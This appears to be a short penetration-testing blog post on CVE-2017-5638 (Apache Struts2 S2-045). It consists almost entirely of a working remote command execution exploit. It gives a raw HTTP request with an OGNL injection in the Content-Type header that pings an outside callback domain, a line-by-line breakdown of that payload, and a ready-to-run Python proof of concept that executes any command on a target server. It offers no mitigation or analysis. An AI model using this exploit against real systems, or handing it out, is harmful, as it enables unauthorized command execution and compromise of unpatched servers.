CVE-2017-5638 – Apache Struts2 S2-045

正文

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
Host: 192.168.198.133:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping -c 4 1WL3WLD.alida.club').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
User-Agent: Mozilla/5.0

关键 OGNL

(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='ping -c 4 1WL3WLD.alida.club').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(
#iswin?
{'cmd.exe','/c',#cmd}:
{'/bin/bash','-c',#cmd}
)
).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

Python POC

https://raw.githubusercontent.com/Medicean/VulApps/master/s/struts2/s2-045/poc.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        proxy = urllib2.ProxyHandler({'http': '127.0.0.1:9090'})
        opener = urllib2.build_opener(proxy)
        urllib2.install_opener(opener)
        # urllib2.urlopen('http://www.google.com')
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead as e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

• #Penetration Testing
• #Python